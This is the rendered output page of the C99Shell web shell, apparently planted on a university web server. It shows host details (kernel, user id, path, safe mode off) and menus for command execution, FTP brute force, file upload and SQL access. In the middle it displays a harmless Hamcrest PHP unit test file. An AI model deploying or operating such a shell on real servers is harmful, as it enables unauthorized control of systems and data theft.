!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/   drwxr-xr-x
Free 117.42 GB of 200.55 GB (58.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SetTest.php (3.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Hamcrest\Core;

class 
SetTest extends \Hamcrest\AbstractMatcherTest
{

    public static 
$_classProperty;
    public 
$_instanceProperty;

    protected function 
setUp()
    {
        
self::$_classProperty null;
        unset(
$this->_instanceProperty);
    }

    protected function 
createMatcher()
    {
        return \
Hamcrest\Core\Set::set('property_name');
    }

    public function 
testEvaluatesToTrueIfArrayPropertyIsSet()
    {
        
assertThat(array('foo' => 'bar'), set('foo'));
    }

    public function 
testNegatedEvaluatesToFalseIfArrayPropertyIsSet()
    {
        
assertThat(array('foo' => 'bar'), not(notSet('foo')));
    }

    public function 
testEvaluatesToTrueIfClassPropertyIsSet()
    {
        
self::$_classProperty 'bar';
        
assertThat('Hamcrest\Core\SetTest'set('_classProperty'));
    }

    public function 
testNegatedEvaluatesToFalseIfClassPropertyIsSet()
    {
        
self::$_classProperty 'bar';
        
assertThat('Hamcrest\Core\SetTest'not(notSet('_classProperty')));
    }

    public function 
testEvaluatesToTrueIfObjectPropertyIsSet()
    {
        
$this->_instanceProperty 'bar';
        
assertThat($thisset('_instanceProperty'));
    }

    public function 
testNegatedEvaluatesToFalseIfObjectPropertyIsSet()
    {
        
$this->_instanceProperty 'bar';
        
assertThat($thisnot(notSet('_instanceProperty')));
    }

    public function 
testEvaluatesToFalseIfArrayPropertyIsNotSet()
    {
        
assertThat(array('foo' => 'bar'), not(set('baz')));
    }

    public function 
testNegatedEvaluatesToTrueIfArrayPropertyIsNotSet()
    {
        
assertThat(array('foo' => 'bar'), notSet('baz'));
    }

    public function 
testEvaluatesToFalseIfClassPropertyIsNotSet()
    {
        
assertThat('Hamcrest\Core\SetTest'not(set('_classProperty')));
    }

    public function 
testNegatedEvaluatesToTrueIfClassPropertyIsNotSet()
    {
        
assertThat('Hamcrest\Core\SetTest'notSet('_classProperty'));
    }

    public function 
testEvaluatesToFalseIfObjectPropertyIsNotSet()
    {
        
assertThat($thisnot(set('_instanceProperty')));
    }

    public function 
testNegatedEvaluatesToTrueIfObjectPropertyIsNotSet()
    {
        
assertThat($thisnotSet('_instanceProperty'));
    }

    public function 
testHasAReadableDescription()
    {
        
$this->assertDescription('set property foo'set('foo'));
        
$this->assertDescription('unset property bar'notSet('bar'));
    }

    public function 
testDecribesPropertySettingInMismatchMessage()
    {
        
$this->assertMismatchDescription(
            
'was not set',
            
set('bar'),
            array(
'foo' => 'bar')
        );
        
$this->assertMismatchDescription(
            
'was "bar"',
            
notSet('foo'),
            array(
'foo' => 'bar')
        );
        
self::$_classProperty 'bar';
        
$this->assertMismatchDescription(
            
'was "bar"',
            
notSet('_classProperty'),
            
'Hamcrest\Core\SetTest'
        
);
        
$this->_instanceProperty 'bar';
        
$this->assertMismatchDescription(
            
'was "bar"',
            
notSet('_instanceProperty'),
            
$this
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0365 ]--